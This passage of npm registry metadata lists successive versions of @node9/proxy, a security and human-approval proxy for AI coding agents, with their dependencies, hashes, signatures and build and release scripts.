MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.3.0_1774700428092_0.4384407334066638","host":"s3://npm-registry-packages-npm-production"}},"1.3.1":{"name":"@node9/proxy","version":"1.3.1","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.3.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"4c7ab913ded5fb5acc3c13c434183d461e201fe2","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.3.1.tgz","fileCount":11,"integrity":"sha512-5X0YsrZmWy1cPHusXIE5Q78hKhN9TXNSMBs5tYWuCACzeqaiJfFTM6WIXS5f3oacUWDiFL5llZhiBdXQcMVp7Q==","signatures":[{"sig":"MEYCIQDcUXAK9SjQLMDFy/1vpGw/Qed97uVWpQpYrhny40vhfgIhAMnnUXQUXiD/T4zQGPYoO70Td9par73IhHtGqctX31Z9","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.3.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":784067},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"57800618231d585f55eda095dc462a2c737c57bc","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"vitest --run","build":"tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.3.1_1774702596397_0.39650080591400716","host":"s3://npm-registry-packages-npm-production"}},"1.3.2":{"name":"@node9/proxy","version":"1.3.2","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.3.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"79c5f2d5a0cf122bf53d359bfdcf78c97852eef7","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.3.2.tgz","fileCount":11,"integrity":"sha512-MYGZ01i9QOBERrkq072ZVxgLcIY0HnNvr9bhPdnhwH4WJX3StMGMFEAUXUAeL5nytw5J3uEbOH2I9/FXFFy/Ow==","signatures":[{"sig":"MEYCIQDduEbVPFPcLjR/P+pUPBXkn98lm9qNiitgpXu7UUBgJgIhAMHl9IbopIbOMLoq96clHZ6UqXcrccXRnEInq/4vEDQ1","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.3.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":839796},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"79c0a5612c75a8303b75a47be4bccd530a9bb044","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"vitest --run","build":"tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.3.2_1774708351471_0.20400298540874884","host":"s3://npm-registry-packages-npm-production"}},"1.4.0":{"name":"@node9/proxy","version":"1.4.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.4.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"ffc2337855e24f2251bc1a3c49764b53469e40a7","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.4.0.tgz","fileCount":11,"integrity":"sha512-UZZulSTOj5NL4TtcdnMu15f9cLCE4dvOQPnwQ11KrZk0EL1HU62A6wIr9SrwMKCA+dg9igIv+8lZdN8Ri3Xe/Q==","signatures":[{"sig":"MEYCIQCFLyW6+fYuQpEu4cCu49AHCU/S/MUg51qB2/SS2eyVlQIhAMG7qqvzQaSzXwUVX2YgojQQrA2Fm+P8bKOilWpU8qJA","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.4.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":851891},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"493b74183a8501f1ce546e03e56c0f95f9614d70","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"vitest --run","build":"tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.4.0_1774717222959_0.9126953520270211","host":"s3://npm-registry-packages-npm-production"}},"1.5.0":{"name":"@node9/proxy","version":"1.5.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.5.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"f040450349987ee0698249601d42aa9b843bf2a6","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.5.0.tgz","fileCount":11,"integrity":"sha512-kDhthdJfrxJ2fBss1IUNBZxAIw0hmUk/uahfmD8bgMCG/xtSzGsY7aMYuHa6j5ubDQ9CZUMsP4Mo3J3nDQ144Q==","signatures":[{"sig":"MEYCIQC+RUhBqVKfOD2GvrE7HoeFnFd/JC5DTaFmJ1Ui9ChCEwIhANhwtgL9uAuz4KR+HYhO5FuoitA+JAJd5HDS5avCKQ5A","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.5.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":913249},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"79f5b15235debc07feeb14f02cc1dc84fcf25703","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"vitest --run","build":"tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.5.0_1774780745901_0.9985375206199067","host":"s3://npm-registry-packages-npm-production"}},"1.5.1":{"name":"@node9/proxy","version":"1.5.1","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.5.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"edfd54738b2b0ddffad2e683c9fdd207238d602b","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.5.1.tgz","fileCount":11,"integrity":"sha512-j7JY2qAJ0CqM73Z4CfClIH2jyRV1qX0pkl7/6XBOniB927+fNX6STcqChFOpP0fx7KIVA+37hWlWXAkhlbPe+Q==","signatures":[{"sig":"MEQCIHLmnvUkACL2s+G896S3krrJc/J1HrPmBPzuYa/13vZFAiBz53BUl5xF4e2l8gLrUIENMinJFRZl94uCw5bUEN9OGw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.5.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":953134},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"ae9ca40f0580b0c03c7e69069f681b8ea0ad6728","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"vitest --run","build":"tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.5.1_1774888956688_0.35623208205872503","host":"s3://npm-registry-packages-npm-production"}},"1.5.2":{"name":"@node9/proxy","version":"1.5.2","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.5.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"29eced91b9b9b3a0e5ca4177a29707b750505a71","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.5.2.tgz","fileCount":11,"integrity":"sha512-FB7gpU2St7+FV9J7xPCOcdd5A+N8GJSXUWD5VMD1LN6xaYacndS/uAX4TZFnKZNrNl43hL4YNhH7XIf6+zEegA==","signatures":[{"sig":"MEUCIGrp1QD1w5R4lBhs4kXS5JBKJ6M+QcRiiIY4F5xp6rgEAiEAn8Xnj4NumGz8u5+6SH182T7vWMot5vRPFePtH7HaTQ0=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.5.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":953134},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"371014079536cc42577fb8337182f5319c546dae","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"vitest --run","build":"tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.5.2_1774900738524_0.5606618068574467","host":"s3://npm-registry-packages-npm-production"}},"1.5.3":{"name":"@node9/proxy","version":"1.5.3","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.5.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"591831ab373a23534bfe17be604588128cf2d6fe","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.5.3.tgz","fileCount":11,"integrity":"sha512-y/kjKTiEpuENBcOpVvpJk075AcVmK97A0Mi5S4Jk9kGX3UXcaXKR0kRb5J+uyXeqMY6nj1csWytZD7L4Z5SUZA==","signatures":[{"sig":"MEUCIBTSTErXUajpUzHCkvH+4wgraZAqm0q2ITj3n5eQlrHZAiEA5Dk8lWqVeYsXL5Fq0OtbxyFI0ebpFlUypAIjS4JBstA=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.5.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1023226},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"529a138751869c7b37d4bf8295dd3ad7ccd14172","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"vitest --run","build":"tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const 